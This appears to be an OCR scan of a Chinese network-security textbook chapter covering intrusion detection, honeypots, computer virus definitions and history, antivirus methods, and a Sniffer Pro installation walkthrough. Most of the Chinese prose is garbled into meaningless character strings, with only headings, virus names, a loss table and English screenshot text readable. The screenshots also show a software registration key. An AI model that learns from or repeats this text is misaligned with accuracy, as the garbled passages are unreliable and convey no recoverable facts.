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W E 55 B E ARG I A C ., DL R Al S Bl b DLW ) 28 1 450z 47 o0 H AR pY s LA =L

(3) H & Scf s #8 (Log File Monitors, LFM) . 32 ] F Wi ¥ 2% H & S N2, &
— PR AEAG D H AR i B AR H] . LEM s a6 0 38 XA 5 G A WL D, SR 38 A=
TN Biln . X+ HTTP k5 #4800 H & S0, R 2L L OB 5 swatch, 5l 68 98 K I
B A A7 PHF o

(4) HEPLE M (LFRERE RS . Honeypots) : 2 — &4 TIeIH %N R4, ©ad
L — sl 24 5y 2 BN B ) EAL. A BGE F G — Do Az His. BT B E# T
TCARAT S b i 32 47 15 2 BT 22 AR RO & nl LY . i 4002 M e R B PL 3 AE T8 8 |
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SER FEAL AT T B0 Atz A9 A], i 2E 0y 2 X H5 S H bR A9 By 5 [R5 46 A S E N8 AN I8
AT B B AARAT s O B 52 H AR il 2 A 250 By 47 R e B2 (AR A 0

2.3.4 ANEHENFERHYEZREFIE
2.3.4.1  AREIARM K AL

AR TN K e 5 Ak 3 2 AL DL JLAS i

(1) AMREBGEMZE G S Z a4 . T PIES B Y0 50 1Y 22 514k, Tt 0 X 52 54 e
1 AAR A AE It A AR e By B R A ) B R B2 P AR T B DLORIE AR 9 R 35 I T AE I
oy S it 4490 3048 o T AR Y LSS H Y

(2) AR FERIRAELAL, BISEHEA RS 20k i EWRAYER#cfe . @l —ERsoR, nl
VA o Bk AR A I e kb fe EHLALE . T Btk 5 AR 5 X T 2l X R My 19 AR 2
Jok AL E R

(3) AMRBRIC B RLEE Y K. T A X H 5 5 R 55 245 50 R 114 AR 1 B ke Sl o, il
Zr e R B TR B S E B TR R DR M S HE RS — M E X
TR ES A2 5 B A AR Ie . EZ T M %2 et S5 EAE G+
27 T R SF UL

(1) AMRERICE SR fife . WA ARS Yo A M E LT . TR e 4%
AR SR AL A5 24T M AN BEZZ R, T 1A 1Y 70 A SCAR 42 iR 55 (DDoS) 78 AR %5 B 8] P ] 3 hid 8% I
iy EHLARERE . 28 oA AU 19 7 B X IR & {5 J0 22 5 15 15 A8 B0l % 30 19 97 380 A
Sy BN & o3 AT B 2 U3 e B R A By T B

(5) TR RIS . ARSI H VAR 48 =230 59 T4 (H U 01k i B 17 Ak
A T ORI A R ph O 2 O TG R S B I AR S . BLE A LT TEN R 1DS #E AT Mok
W HeIE . ok e s by 7 IDS @ 15 20 CRRAE S A i {E LG IR EEXT IDS 1Y 55 5000
VAT

2.3.4.2 AR A e i1l

ARG I B A Y R K e e 7 [a) B 48 LA JLASJ7 I

(1) A AR KGN . — T 1 2 o) o A =X R0 2% Mg < i R 7 3 5 o — 4> O i 2 s
o3 A 2R T R A 0 48 A . 28 e ) S B R AR O A T B TR ML A 5 A AR Tk /Y 4 R4 B
(2) B R AR BRI A REAL 1Y ik 5 T BOR AT AR A . BBy Bo W H &
HESR A 1 22 W 45 st A% TR BRI B A e 22 T B 25 O o X BB D7 IR T AR R AR Y B
Rz, FHL KR ERERM AR R ot e iz —.

(3) A 1f 1Y% 4 B A J7 58« BT ] 42 4 TR XU 457 3 9 SRV AEL 55 T 2 o Ak 3 IRH) 2% 22 4[]
w3 R R 25 2 A E O — A B TR AL HE . DR B 4% 25 4 i 2 Tl 3E L Bl K 5 e 7 B
FAAR R 22 75 20 BT S T (9 I 265 4 H 2 Ak, 5 82 o mT AT 19 4 i Ak o T 5%
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2.4 iP5 B

2.4.1 HENFESENX

TR AHUR EE (computer virus) £ N RIEAE T EHE L KRG L &R FK 0] 8
WA 7 SC - R4 ™ 2 ) B0 A TT RULRR e P 48 A9 R TH B D e s VR s =2 W o
FALEEADIF HLRewg A 32 6 /) — AR LS 2 alicE B P AR 7,

THRAVE R EE S TR VR R G 58 AT 15 37k . 15 RS a2 b 5F
A — A 7 1 H O T R R i RGN 2 R AR g 2 RO (8] ] T R R A R G R
£ VAL I R A S A s 3 — O i AR EVPR 9 R AT i % R B B 22 TR JC iR
Ve, JTE S SO R R AE N — RSP BRI A, PR B A AR Bl T 55 HIL B2 A 19 2 & i
5 2 AR

B 5 Nz I B A R R IR TR A el AR U IR IR . — IS A 4SS L R SR A Rk L 2%
FETHR LAY R B N A7 v 7= A — BB LAY M BE DL 48 2, (H X L8 fCHS 2 e AR ALY . i 7 T
& — PR T 7 AR, 1 BE A% B9 K e 4 U K L 5 T RY AR 55 ) 4% A B AT 0 o AT IC 5
X BE A 2l T SRE L OF B A — R R X B AR A R R R R AN T
REIE i FEALACHS = A 1Y . BUAE AT IR R Al NN BSOS 9 5 1Y . 22 800 7% n] LU 3R 21 AR & A
LS B NRE ST ok R fEE R A H A& — S RA MBI TR
BLHCAHREM A CRRE ST, I TX BRI, b T sy o8 TR O T aloR %, 8 T
Rl EH 02 5555 SR MAENR FEF MRS T E R ML 1495 1, K i a 4
— LU 1 WE T LA AR 25 A0 i 2

2.4, 1.1 9% PEHRAE

HHRAAL B R A LT LA AL

(1) A AR TR LN 5 Ay A2 A8 HAl AR Y 22 b, S SR04 31X A4 2 e i) o i 0 kS i 3 1
FH S AR AR S BX AR Z 8 B A 2 8N WY

(2) A4tk TRV R AEAR S BABIAE, B BA L GetE, — Bw 5 9 & il 50 4
AR T O E Z AR NHMELATIRT o AL U PRI B U SEAN R R . T RAILIE B 2l i 25 3 E
M E B AT R ALY BRI R PR Y T SRIDIL, A8 L BB LR i R R 19 T ROL T AR R
WL ERER . T B AT R AN — AR e A T RN B Y e A AR . R
Jy 38 g A At A B DX AR B B N R B S A B & g R Fe N 0 A RO R P X
i ERF.

(3) AR A L 7 8 B K o — B AR I B 2 BT Bt ar iy . Bl an R B30 1
A EE - A B HUE B[R] IR W56 2 20 R B i U 2 7= AE X R GE 00 B R RCIR . 7 AR B e TG
TE 2 50 B A7 AL I 8] 50 28I g B 1O A% S0 Bl st = B B ARPE I 58 — P R BL 46 75
¥ AN R 0 o il D0 76 G A R 5 T IR PR O 5 R 3R B 9 TH R DL 75 19 PN S A
A — o sl 2 L] o AS 198 A2 ik A R A TSI BE R 1 AR B AAS ST AT R IR

(4) FEaktt : THR LR R BA R ok A9 B v A RS AT LU I B 0P K6 & ih ok A TR
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AT AR AN R L 3K 8 g B AL RS R 8 H AR TR M
(5) W TR F e, & 7 8OEH AR JCikis 17, M B 80 R T B AL 1
A

2.4.1.2 M

AT LA E o A% B B o P B A 7 44 0 A B iz 7 1 — S A O R
T 44 19— e 000

<SR > <R A > < 2>

9 BE BT B 48— B2 AR S L FH R DXl 85 B RROE o A ] b 288 9 8 1 » LT 22 AN
G, B an, % UL R B EE AT Trojan, I U9 52 AU AT 282 Worm 5F,

o B 44 A= 18 — A 5 WY % R HH R DXl A bs 00 5 K ik . il an . 25 24 19 CIH 95 7
) G 24 R e 88— 1) CTH , 3k 77 62 5 29 75 19 K 44 72 Sasser,

8 FE o 2B JE 5 — W BE AR PR AR L FH R DX A AR SRS K w0 R, — AR R H
gL 26 NMFEREREFE AN . A0, Worm. Sasser. b J& 48 k37 I G B R B 09 S R B, — A FR
NPz B 2 M BCE R B B B

I B 1 35 24 RO 20 AT DA B s B A B0 RRAE A B LR AT O 5 4 ) 2R OT B
K 72 1Y . A0 2R JC R W T DU 47 5 Agent SRACE E AR /N T 10KB K/N ) SCH 1] LA
fir 45 A Small,

AR B 5 e N B X T AR AR B B I A IR AR B

AR B 19 E AT MR AT N 2R 1E 3 S0 2 R 3 4 R P AR ] DU A O 2 A — KR
9 B » X I 57 22 A M5 ok XA AR YR R IC S AR — 57 WA 5 AN 18 D e 22 ] DA
& 3. HARY /NG FHE a~z, U0 aa.ab,aaa.aab. I EHE. HREADITE . AFHFE
N T A\ sl e 4% .

2.4.2 HENREDE

THREAR R A Z Fh o287 3

1. #BIHENFREEENEE D K

YT A AL BE AT A B B A7 00 28 T B ML B 0T LA A3 o0 489 85 L SO 55 5 5 Y
o3 1 o DX 45 T T A0 s TR HIL I 25 A% 4 SRR Y IR 2% v 1 o $AT ST s SO BE RS TR PL R Y
A Can COMLEXE.DOC 55) , 5| 5 898 55 B34 3 3l B X (Boot) FAE £ 19 & 48 5| 5 B IX
(MBR) . A X 3 FF LR & Y, a0, Z2 855 5 CCF R G| 5 8D BRGL SCF R S| & 5 X
A H b5, R B9 RE I AP B A Z AR AT AR L R A RS, [A) B
TR AR

2. BBUHENRBRENERLERESE

i BT B ML 55 AL e 19 07 Bk 3647 20 28 TSR AL B 0] 43 Ok 3 BE 1005 3 AN AR 3 BE R 7E
TF B8 R R TR VLE L8 A 5 a9 3E 8 A 0 i AR (RAMD X — i B P i R 4
I H A I 28 E R vh 25 b F 300 RS 5 B 5 B8 Y B 7645 B2 900S B IF A B e T3l
NAT
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3. BITENRSHBIREE 172

AR I 95 B W IR 0 B8 1 AT R L o FSEHL FE T 43 S LA JLF

(1) EERIRTEE . BT 1% G2 it ul > G 5000 o] 25 [ 46 % R A HAL R .

(2) Tofa B BN B . X 29 5 USRI N AF 2 R & 75 8

(3) fElS BT . X R EEE T AL R G4 b 5™ A4 R

(1) JEH GBS B g 75 . 33X 280 B M PR AR )Y 0 R 3G BR RS W AF X IR AE R G b
FAE B e 75 5 | AR 7 7 A B0 R R A 2 i IR SRR R X

4. BRITENREFENEES £

IR BN A B AN EE AT A M LR LR

(1) PERERI R X — 290 5 0 A B8 SCHAR & BATRIE B 7 248 EXE SCF ) £ Fifi
ik, A RREM 4 F A E P B4 (COM) . il in. XCOPY. EXE 19 £ ki & & XCOPY
.COM., Jm#E A B 5 A COM LI Ak 2E EXE SC. 24 DOS 4% SCF i, A Fil 74 41 5
B PAT o 1 b A BE A D 2R AT IRk 1 EXE SCH

(2) i AR R . A8 L T BRI AL 7 A SO SO BERHE S FH 25— S L
7 1) N A7 A% 1% ) A ML 28 19 N AE - 158 R 28 bt Ks B B 1095 5 30 ok 9 2% % 3%

(3) ZF AR . B 1 AF Bl AN 055 i g 75 o A g 5 2 AT BR 0 A 28 BN BE B TR RRE
TER G 5] 50 X B Sl i R D RE ST 4K .

(1) YRR . BT BB DOS H b F R X B, 1 42 38 2 30428 v X
11 DOS P&k . F) ] DOS 23 PRI EHE K347 T AR

(5) AR RE(XFRE R 5D : X—KmwlHERNEE. A BEFR MR
AR ERACEE . — 8t — BR A T T8 2 00 A it 537 Al 28 Ak 3k 10 96 7 AR 21 ale

5. RITBEVRBNINE BiRa

PR IG5 B 1) B0k H b T BEHLE RE AT LA S LA JLF

(1) DOS 5z £1%F DOS#AERGEH A Me:. HT Windows 9x 95 8 19 i 2L, DOS
3 JLE4a 8 . [H DOS S5 F7F Windows 9x FR1E d A a] LA SEAT B UL 3% 3 L A o 25 S0 AT L 55
A Windows 9x H 1 R Gt & R .

(2) Windows 585 : £ %) Windows Ix B E R G R . BUAERITT R ML P — Mt #&
% Windows &40, Horp e w8 (499 854 CIH %57 . — 28 Windows 4§ 8 AU AE Windows
Ox P IE &gy, A n] LLEE G Windows NT | iy HoAth SC {4,

(3) HAth ZGi W55 . FE I Linux ,UNIX f1 OS2 i ARG TE. T REA
B 2t X R AR Z .

6. RITEVmEEWEEAXSE

R P8 B 12 = T F R AL RE AT 40 M LR LR .

(1) VARG . %00 3 MO & 08 5 i S R T L A6 B 08 5 T S )RR T G PR i
fli A B AR P 28 903 O B R R Y 10— B 00

(2) W AR FE: XFREE 2R H SR ARNBRAE R . B EN EERETFS
I % g AR AW 7 kR, XMt BAALR R ME 1. — B2 AP IR R
METH PR . a0 SR ] B >Rk FH 22 9 BE R LB 200 5 B AR 1Bl MR 9 5 B2 R 8 25 2400 19 RO
B F32 A R ™ IR 1Yk K
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(3) Fhse BB . Fhoe B R B B 60 [ 78 F2 82 10 DU JA] R 0K O R R AN EIE PR
XA BE N H I, By T A L W5 T A B, — U i SR R RN BRI 2R

(D) FAERGEARDN R . X P 5 H A B 098 e A s B HS o0 B4 R gt ki T4, B
A AR5 B IR g o] DL B0 AN R GE R e o (B4 5 B AT R JRR o B A0 2 B R 1 PR AR AR G2 Y

A BE .
2.4.3 mENEESHE

1983 4FE 11 H 3 H,. 3 FHE « Bl B (Fred Cohen) Fi+ W] H —FrfE iz fE v n] L&
il H B IRERY . /&« X8 S (Len Adleman) P X Fp il 38 P 52 7 45 24 0 i WA B
(computer viruses) . - 7E 8 i — IR it B L 2iTie e BiEX#E .8 /AN e B KA1 4E
VAX11/750 THEHLR G F R IIs 7z B2 7 . aX FF 55— 55 S5 5 i )

RN EEZ I DA R s 2 IO HE AR R AR, Ao RE@EEAUT
JLAT,

(1) It A o, il A e 85 1 A o . (i LA JE% UL i 5 A O A% U 4 R #i Jak g
1 T "R s A . R i B B A8 35 DA K vk sl AR 1 RE e BB ) 23 s s T R .

(2) 28 ok b 8 38 O B AL et S R AV R IE . T A e B L A A B L At b Ty e
FH VB 55l B8 A AR 1

(3) JHaf 2%, X AL P O R . BB 7R AR K T 18] P9 A% ok R 28 gL as . — iR ok
H SCHE S 2680 12X BE 45 30 W5 19 830 he  21089 S vl BE AT 76 9o 55 5 o0 — PR ROV >k A AL IR 1R, RZ
BORAF R G 324 1 7 W 2% ] 4% 2% B i 4 =X A SRS IR 44 79 0 B8 « D 4% ek %) 57 ) 1 R0 ke
ol 45 33X P Jg e oA e ™

2.4.3.1 i FEHL RE AL

A e e EE A NI R YU R EEA DT L.

1. EIk Cloner(1982 %)

Elk %5 8 # B AF 8o > A TFR AL 3 — 32 Bk 7 . Bl i S R Apple | Bk b 17 4%
1o XA BE BB — AR BE B L nT DU 49 UG AR5 50 Il iy Bk . B IR AN s 1T
i A UM ACZ ) 22 4T — A2 H B - I s — J R TF .

2. Brain(1986 &)

Brain Jpi 73 72 5% — 3K Wy DOS #2/F R G a9 5, Al DUECSE 360KB 8K, 120 B & 7T
AR Bk b AR R a9 23 6] 10 5 BUE A e -FE T

3. Morris(1988 )

Morris J8 5 12 )7 FIH T RGEAFAE 19 55 st 4T A 1R Morris BT 09 91 19 H 19 IF A 2 45
WA i e R DU = (X 25 1 R/ . H S T2 P I A B A A 2R 4F  TH R Pl & AN s H gt T
e & F B

4, CIH(1998 )

CIH 5 8 /212 5 4 1 B N4 e ™ B e 2 » 2 1A BB BN i 5 . B & ME
EF AN D8 B 1 5 | S DR X 3% T ELa R T EHL R 48 BIOS, S 3 FE A IR . s 55 2

EREPNE L =20 NI D
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5. Melissa(1999 )

Melissa g B A& g 38 5 B WS % 0998 58 2 — » 24 P 4T 8 — S s 1 e 24 19 BfFA7F
B2 H sh &2 B A P s R E S AT 50 AN Ho kb . BRI S B A BUNRY Z A 4 EK

6. Love bug(2000 )

Love bug J 5 1 72 i ik HL 5~ BEF FE 7 HEAT A% 5% 00, & 48 i 2 D8 26 1l — 3 2K 22 A A 0K Bk
WA NFTIF o X A9 B DA AL 36 3 52 s [l b R Kz . TR UM Z N 3X A4S /NN
RN AEAR T2t FE B Z N R RS

7. “LIEAE"2001 F)

LS BE O N S S b e & B AT RN B — . XA B 3R A A S S e 5 A
H T Microsoft 1IS i 55 s F BY — > il o 12285 B9 88 BHA — 4> % 8 19 IRAS , 9PRTE 4L (0
(RS 11 - BB ) RGEPERE 2™ B T R

8. Nimda(2001 &)

Nimda J& [y 88 b A% 7k 3 B PRI R Z — 78 LR Z a1 22 spph Z Ja sl 1% # B )
Y9 B

9. "I (2003 F£)

“oh NS BE R U 4 B Blaster, s R H Lovsan 8% Lovesan, & ] FH T Microsoft
BRAT v i — A BB L X R B s AT O B o] DL S BRI

10. “FE3H K" (2004 )

“Jee 7 B EE A X — D H ] Windows iR fg 1% 5 B0 25, RT DL S 200 50U 5t 0F A Wy
HIA .

11. “RRIEEE (2007 &)

CREAN e AT B o (B A R Y AR IR B A L BTN BER

12. “H35K” (2008 &)

3 e B T ) DA 28 A f B RE . AL P G AT A Bl SR LS T
T IX A BE Y &2 E  a] DLSe 300 B0 B AL e A A

13. " ARG TEHF"(2009 £)

YL AR D R 8RN 5 2754 1000~2000 DA IR D% T SRS .

14, “RBE"HEF (2010 £)

s SRR N IIE 1T Ja AR SRR TP R R SR BN 20 B A BT 0] S 5 ] IF R A% =X
e H %K R GE A TG IE IS T BRI 5E
% 2.4.1 Bon TRV MR RE R,
R2.41 EXBERFIR

&F % WHITARZEE %%E PC # H MK EH/ET
2006 NPy e L ile R F2 AN BT Ak T R @A Al Al
2005 A5 e I B AN mT A T Wk g wmA a1
2004 Worm_Sasser (52 3% J%) file IR B AN W] Ak 3 2K 4 A A A
2003 Worm_MSBLAST (it i) Wik 140 H A Bk & BT AE T

0360



4 42

F o) WHITAXZERSE = PCHEB MEAEE/ETT
2003 SQL Slammer it 20 & 9.542~12 4
2002 Klez it 600 T 4 90 12
2001 RedCode it 100 H 4 26 12
2001 NIMDA it 800 T & 60 12
2000 Love Letter 0 R L A T A 88 12
1999 CIH B3 6000 & T 100 47

2.4.3.2 RRwgHA

MNP B3 7 it R SR pe 55 B9 VE R D5 B 5 BOR o] L4 Jhy s 55 700 B 50K 9 2 K 1)

1. mEWMPBEAR

TR 00 T B7 £ R S 48 18 5 — 2 W HR T By 1k TH AL e B X 2R G 09 4% B AT A
AR B — Rt S BRI E B . BARSR UG, TR DL B 09 3 97 2 38 1ok BH 1k 31 55 P 5

A R 58 N A7 5P 1k TS L B X G A 9 R E OO S H#E) RS2 3Ry .

Wi T BT AR LA RE B 5 | T X AR PP I & vl AT R P i S E R R MR g R
o TR ML B 09 TR WA AL 45 X 2 R BE 1Y T 7 A0 R R BE B9 TR AN EE . H AT
X C A B 1 30 B AT LR FH AR R A e 3 AR Bl i 2 ) 5 B R 1 % R K s g 1) Tt o7 0 i — e
7 2 B0 B H E F AR, BR sl &8 A FeR .

2. mWEWRNE AR

TR £ ORI £ AR 248 1 1 — & W EOR T BOAE M Fr e iH AW s seoR . £ &
A RR O BERTI LA . — R AR R TR A0 O VR IR R Y BN A L BE AR AR AT G
T A SO AR AL L FERRAE 43 28 A S Al b A ST e BE R DU B R 5 55— B R AS B 6 B
BRI A BRI B R BIVX B A SR slCR I Btk AT R 5 AN T O DR AR A5 R DL E W R
A€ b DL PR AT B0 45 R0 2% SO sl 8 s Bt A7 46 56 o H B 22 S 0 36 s i SR 08 s B ot
%‘ﬁﬂiﬁfﬂlﬂiﬂ YL T g - DT AGE T 3 s B AR TE

3. MEBBREAR

THRE LI FE 1 IE BREOR 2 TH AL TR I 45 R 2 R iy b SR 45 2% 72 1H B WL 72 15 L 72
JP I — Rl o # . H A, 5 BRI BE R AR A 78 HFiois B B0 S5 a8 o X L AT 0 A 0 5 T A0 o
Y 5 AN R R T RE AV A . X R EOR K AR B s 1y A d e e . T REL
BT T B SR RS 0 P L A R A H R PR L X6 A A 1 TS PR JCRE N T

2.4.4 FEPEENKEE

TE 28 BN [ Y0 2 [ el A JCFCH 2, IR o >R v R I 245 s 55 g 47 5 15 M3
ARiE— AR EEAFF.
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2.4.4.1 JapPidrEAR

W8I BE T A LAR 4 FhIEA DT ik

. EFREEHXRNMXGEZEHERE

e /AN R I S BT 22 o E B <o i B 7T 1 TN s il e o I o £ 1 VI 2R T
M. Z2TMEM PR NHEF B THERTA S0 m s R/ A P . RHET
W 28 H 5% F1 SO 2 4 P i J7 5 00 Bl AR TR 3 T — 28 AF L (H 23X 7 ik R TE R 2 T N 4%
PR R G HZ 2 EN BT AR AR R PR .

2. FATIEUMREEDS

XA T R BT RE DI RE AL A — B i bR TE N4 T AR b DA 280 PR AR 3
TAEuh e HGE R 55 s I BE A . B TAR s A BUEE il Som s Rk ae & =8 — il MR 1Y
EPROM # P4 , 17 o mT DL S B i/ 22 o 3 1) 7 3 T4

3. % F Station Lock M %& B & 8 /7 7%

Station Lock & E& 2 Vi 58 r- im % B Trend Micro Devices 2 &) 1) 7 — A€ ™ 2% 5 95
B e HPTEBM S S @ AW EL T A IR m B Z e A 2 B i
Btz b gl SRR EE L AUE H R 400 BIOS Th 8 8 . SCF B 3 0 2008 A & B A I RE
7 A 5 1) 3] 5 — > RGEPAT SCHFIF A BB Z By . TR A 28 s 55 I 22 28 1A 5 7 15 it Je 4
Z R WO 20 AR B R GE S A A BB 3B A7 s B AR P I S E /X e . Station Lock 5 il 51X
BOKF o FH TR 77 3 W06 G ff b il oo 25 9 B A7 o0 o HAE X AL 55 22 UK g B LR K
R BE

4. ETHRFZFF|HHHFEEFEA

Mz 55 i A2 W 285 B B 0> - — B 55 4 B0 B RS Y L s 2 (IR 55w R A R 3, B 45 Fa T
S0 3 IR MEE Je R . B AT, AR T R 55 A 1 B 6 e BE O A RARR T NLM (NetWare
Load Module) ¢ R LA NLM B 77 20k A7 82 e it » LR 55 i Oh JE A . 2 3 S 43 1 0m 2 6
Ji. B By re s, 40 Central Point 2 #) Y AntiVirus for Networks., Intel 2y &) [¥
[_LANdesk Virus Protect DA} 7§ 50 /K f5 63 fiiti 2y 7] 1Y) Lanclear for NetWare %5, & &Kk H T
DLz 55 i o ZERE 09 B 0 BE R R o X 287 19 H A9 ER & IR I il 55 o 00 R 55 S R Y . aX
R AR & T AL RE @A, IR AR AS B AL 4 1R a2 N | & 4

1 bk 4 P 24 Bl 55 52 R b, Station Lock & — F&F X 88 17 28 19 B 16 J7 1%, Station
Lock HHIC RE#&HE Intel DL 45 422 1R 33 o 11 HL A >R 0 B S5 25 F s S B LK 2 T
e (token-ring) W% 422 1R o Ak T IR 55 4 09 B 16 96 25 7 5 RO A R AL vl DL SE U4 %5 . 6
SIS AT RE AT RO . R R S M APl AR Z L R X AP ORI R T
Y 3l A0 22 %8¢ Bl 9 B 7 o 2205 8 A . HAURMER ™ a1 LANdesk .LANClear for NetWare
%,

5. EIRRBFHEAR

S B2 s B R — (1] O B B A T R U A O 2 LU IS 1Y SO B R TR T S . 2 AR
ke H % e 22 e LA 52 3 i 29, — T it 2 RO B o R — A 0 2R 48 o R T BRI R Gt RE ;s ) —
J7 & R B S HA B CRe R B E R 40 10 325 1 1) 805 28 9% A 15 BIAR I 1) i e

Wit 25 e 7 Ak 3L EE ) AN W 4 sy 5 S A B BE ORI i R R GE 0 e 2 REIRF] 1 A]
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HZME PR L T Windows #RAE RGN ZAL 55\ 2 LR I B O SER) SO B BRI T R
U 1)z AT M8, DRI SR S 3 5K B A 21 AL

2.4.4.2 il A

1. LEEE

He A i3 e FH LA 4 00 5 A6 I B 51 5 B DX s R 0 ) SCPE R AT L3 . R AR RT ASE 4T
By AR 35 HL(n DEBUG 19 D a4 Fan i 4% =0 47 e 88 . s A% 7 Sk 3 47 He 4 (an DOS /19
DISKCOMP.FC s PCTOOLS T HAE ) o X B PO 3EHEE A T 25 B0 TH R AL 5 46 0 72
¥, HEH B DOS 24 F1 PCTOOLS 48 T B 8wt vl LLEAT . 1 H R 33X Fb He 38 38
] DL % BUIR L6 i AN BE o BEA 00 A U 7 Y R BT AL B, AR 4 B, T LU
) E AT P RS A O AR LG TR X T8 B AU 55 00K I sk 2O SE 1
VLRI s A W LI 2h 5 X P — R TAE.

HO A 2 A T b R T o O A R R R R S R O W R LR T R 2 4
FR. T340 . 1 G AR Y 5 DR A 0y =22 T80 2 ) A DL IR i 5 o — 2B B0 L DL A I 2 i T
HLIG 5 38 I+ 38 T R GE SO WA AR R (2 SR 45 vy, R 2 45 I B T4 B IR 1
T A B UG & O I e EGE BEA BB S B AR 24518 .
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(3) Sniffer Pro v DIt & v 8B . 51 4, monitor ,expert., decode Z5 T HEEP A DL P
RER AT

(4) Sniffer Pro ] DAHEFR W AE 1 W . 1) 409 5 O K S L4345 55 L 9F H & BEECGE 19 R TR
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PC(Windows XP/Windows 7),1 .
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(1) 5256 10 > . 52 > 28 PIMSL I A 5 N 25
(2) ARG R A AR PRAE LR .
(3) At > 4 i .

I AT 55

WA S, YR DL N L BE .
(1) “¢#27F Windows M85 | % 3E Sniffer Pro,
(2) gEWE 1z A Sniffer Pro i3k 4z 3.

DRl E7 855
ARSI K — O E I E G R M EE . PC 4% Windows #:4F R4t .
§ 1K &5 IR

(1) TCP/1P J 3 Fr JEAPpis .
(2) B 28 W ARME & S i 3,
(3) % i H R S 528 77 =L

o0

Fiz B8 W R & 25 7 5 WG Sniffer Pro 3144 B9 &2 %% BRI bR  $42 2 5% [n] S 1 32 7 I 33E 47 22 2
(uniE 3. 2. 1 pron) « AN Z0 84 158 FH 0 844 i A< & Sniffer Portable 4. 7.5,

m Portable 4.7.5 - InstallShield Wizard ‘ o |
F' e i 'L
g Welcome to the InstallShield Wizard

for Sniffer Portable 4.7.5

The InstallShield Wizard(TM) will help install Sniffer Portable
4.7.5 on your computer. To continue, dick Next. I

321 BHRESME

nE 3. 2. 2 Fron . 7E &£ Sniffer Pro 1% %% H sk B, BRONZ2 2 /£ C: \Program Files\

NANSnifferNT H e, o 1 B 47l i 80 - 2 BOH BN B AR g 47403
L] 50 .



Setup will install Sniffer Pra in the following folder.
To install to this folder, click Next.

To install to a different folder, click Browse and select another
falder.

You can choose not to install Sniffer Pro by clicking Cancel to
exit Setup.

- Destination Folder
C:\Program Files\NAINS mifferN T Browse... I

Cancel

K 322 REBF®EFARA

FEHEMHPE CEEESLENFME R . &£ B Sniffer Pro User Registration [
SAXIEE P AR KIEES P AGFEE.WE 3. 2. 3 . i B, ik Ja —17 1Y Sniffer Serial
Number 77 Z3H A A W K& B 38 3t ) 1 s

)

¥ Please let us know where you

: Magarine ad o
heard about this product. : —

Do wou wish to receive o =
announcements about this -
product?

May we share wour name with IH-J -
other companies that use NAT
products?

4 % Sniffer Serial Humber |]

|
<EF—f®|FT-Sw>]  mA IJ
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wiE 3. 2.4 fs, e EMHREE W EZ I E M ERR. N EETAKIKA 3 ik
e T AU R 55 A A M S R RO RSO0 P A
PEFEE —Ti Direct Connection to the Internet,

W&l 3. 2.5 Fron . #5 al a A AR 55 i 0% 2 D) S 4 ACICHE il 55 % b bk L P 44 R S
FEE.

1% T KRG A shE AT 2% 5 B il 19 M 25 Ik 55 4% Mercury. nai. com, 5¢ i 0 2 1) {F
WHE B s b A UE TAE . P EIME Bk fe . Ko =5 A K 3. 2.6 s
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0

If you are comnecting to the Intermet through
dial-up networking, wou may wish to conmect now.

If you are comnecting over a local area networlk, you
may need to connect through a proxy  Flease consult
your system administrator.

If wou are unable to conmect to the Internet, your
registration information can be printed and sawed

(* Direct Connection to the Internet

(" Connection to the Internet through a Proxy

Configure

(" Hot conmnected to network or dial-up.
Frint & fax option.

<tH—$solFsw>] mH |

to the Internet through
bu may wish to conmect now.

~HITP Proxy Setup

over a local srea network wyou

Use HITP proxy at Fori rough a proxy. Flease consult
ptor.
|i 50
tonnect to the Internet, your
User jon can be printed and sawed
Password: bo the Internet
[nternet through a Proxy

Configure

Your user name and password will not
be stored

twork or dial-up.

0K l Cancel

—

Y T |

B 325 RIERSHEESRE

Sniffer Pro User Registration

Locating nearest server

1..|I,.

: o (st ; :

C;.r” L {l Connecting to service

1 p_uql- ¥ #F Updating customer information
b H

N * ), Communication with server complete

Cleaning up communications

Status:

egistration completel

our customer identification number is 31B8111.
lease make a note of this walue for future
eference.

s |
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3. 2.7 Fros, eEF s N — A, RG2S s H P R S EEE ) T E B
I Az B — A AR & ) S Registration Summary. txt, % X FEASE T LT IJLHE
T RN A ] 2 R IE 3. 2. 8,

Sniffer Pro User Regisl:rati:n_ )

Registration Results |

in ¥
- 2

User Registration Information

fama] »

Registration complete!
Your customer i1dentification number 1= 3168111,

Flease malke a note of this walue for futuwre refe

[Contact Info Hatworl hAzzociate -
< | I,

[~ Display product information from the World Wid

HI:H |

B 327 TMEERFET
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User Registration Information

ERﬂgistratiun complete!
Your customer identification number is 3168111.
Please make a note of this value for future reference.

Contact Info Network Associates

http:\\www. nai. com
Phone # (408)988-3832

Product Sniffer Pro

Customer ID 3168111

Name tmp tmp

Company temp

Title test

MNailing Address random

| X, < Other > 000000
CHN

Phone Number 000, 000. 0000000000
Fax Number

ERuceivt Announcements No
Share Name No

ESniffEr Registration SA154-2558Y-255T9-2LASH

EE-Iuil Address xxx®163. com
System 1D 3ADD4972-0C41-4746—-
i B10D-5BCBDBF80D2A

K 328 FMXHERAR
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i F Sniffer Pro &4 iz 745 55 5 Java Ks8I AE B0 FH BT 2 25 R e & 4R
s PSS 0 B Java (AR 3.2, 9 ) .,

-
Java[tm] Runtime Environment 1.6.0_16 Standard Edition

Fl{E A Sun Microsystems, Inc. BY Java[tm] 354 | 05“”

microsystems

EEVEIEE TS Java BiiF. TEERA A, 1BLAEELTRNFeEMY.

SUN MICROSYSTEMS, INC. -
— I B a F

JAVA SE RUNTIME ENVIRONMENT (JRE) VERSION 6 #1 JAVAFX RUNTIME VERSION
1

SUN MICROBYSTENS, INC. (“SUN) EEETFHait, Holi@m Tieet, B8
HEELREZF —ANRBTID N ERRUREINIARR @GR -

+ FEIE L), ST Sun Microsystems, Inc. B Java 14,
" FHTEIED), EFLET Java 158,

#E |
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(1) PEREEAY = B sE B 7 (File) > £ F % B 7 (Select Settings) fif 2.

(2) 6% S B % S HE o U7 1 0 IR0 7 Log OFF 5 FEAE . o o 27
L, 3. 2,10 .

IO |
PEFE MATRY ISR O ()
—:ﬁ. Local FE N
B9 Bealtek RTL8139 Family PCI ¥
e (E)
fiitlis )
< “ | 3 v Log Dff
HARMEEEE. I+ Flsoz 3
ERREF: 100 Mbps
HRE HRiH

E 3210 ®EBIER

(3) WMARGFHEZDM R, T EZ E R, nE 3. 2. 11 s,
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Select Settingsl

Select settings for monitoring:

Elﬁ Local New. ..

™ lRealtek PCIe FE Family Controller_!

?m.l\DevicE\Sniffer_{DQECTEQE—CEﬂl—iSFI Edit,..
@ \Device\Sniffer {D1963F14—-5F32-443!

LEles TN
<] __ | 5 [ Log Off
Current medium
Line
B TE EE

3211 ZMNRERERT

